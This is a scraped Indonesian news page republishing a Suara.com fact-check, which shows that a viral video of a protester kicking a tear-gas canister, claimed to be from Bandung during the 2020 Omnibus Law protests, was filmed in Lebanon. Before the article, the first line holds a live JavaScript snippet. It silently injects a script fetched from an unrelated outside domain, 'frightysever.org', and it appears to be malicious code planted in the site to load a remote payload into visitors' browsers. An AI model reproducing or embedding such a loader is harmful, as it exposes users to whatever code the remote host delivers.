(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Video yang memperlihatkan aksi seorang demonstran menendang peluru gas air mata berseliweran di media sosial.
Bahkan, video yang terlihat epik tersebut sempat dikomparasikan dengan tendangan Captain Tsubasa (serial kartun sepak bola Jepang) hingga membuat video tersebut semakin menarik.
Video tersebut disebarkan oleh pemilik akun Twitter @OkaWijaya lengkap dengan tagar #OmnibusLawRugikanRakyat.
“Dapat kiriman dari kawan, video best moment aksi semalam di Bandung. Masih percaya, Messi dan CR7 lebih jago dari dia?” tulis @OkaWijaya menerangkan videonya.
Sebagaimana diketahui, pasca DPR mengesahkan UU Cipta Kerja, Senin (06/10), gelombang aksi massa penolakan merebak di berbagai daerah salah satunya di Bandung, Jawa Barat.
Viralnya video Demonstran Tendang Peluru. (Instagram/@indonesiavoice_)
Penjelasan
Viralnya video yang diunggah @OkaWijaya itu membuat banyak warganet terkecoh. Lebih dari seribu orang meretweetnya dan 2,4 ribu orang menyukai video tersebut.
Padahal kenyataannya, menurut informasi dari akun Instagram @indonesiavoice_, video tersebut bukan terjadi di Bandung melainkan di Lebanon.
“Inilah pembuat hoax kerusuhan demo UU Ciptaker di Bandung, akun Twitter @OkaWijaya. Orang-orang provokator seperti ini harus diviralkan karena tujuannya bukan sekadar ajakan unjuk rasa tapi provokasi kerusuhan lewat sosial media,” terang akun @indonesiavoice_ yang ditujukan kepada kepolisian, Kamis (08/10/2020).
Dalam keterangannya, video demonstran tendang peluru gas air mata tersebut sudah lebih dahulu diunggah oleh akun Twitter Sarah A dengan menyertakan tagal #Lebanon pada tanggal 30 Mei.
Di video aslinya, video tersebut telah dilihat hingga 31 juta kali serta diretweet hingga 7,6 ribu kali.
“Oka Wijaya nyebar hoax. Video kejadian di Lebanon sudah ditonton 31 juta orang tapi dia bilang di Bandung,” lanjut keterangan @indonesiavoice_.
Kesimpulan
Video aksi demonstran tendang peluru yang diklaim terjadi di Bandung tersebut tidak benar karena akun Twitter Sarah A telah mengunggahnya lebih dahulu dari Lebanon.
Setelah Suara.com mencoba menelusuri akun Twitter @OkaWijaya, video tersebut diduga sudah dihapus oleh pengunggah.
Oleh sebab itu, bisa dikatakan video yang sudah terlanjur tersebar dan dianggap heroik oleh demonstran tersebut adalah hoax. (suara.com)
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
This website uses cookies.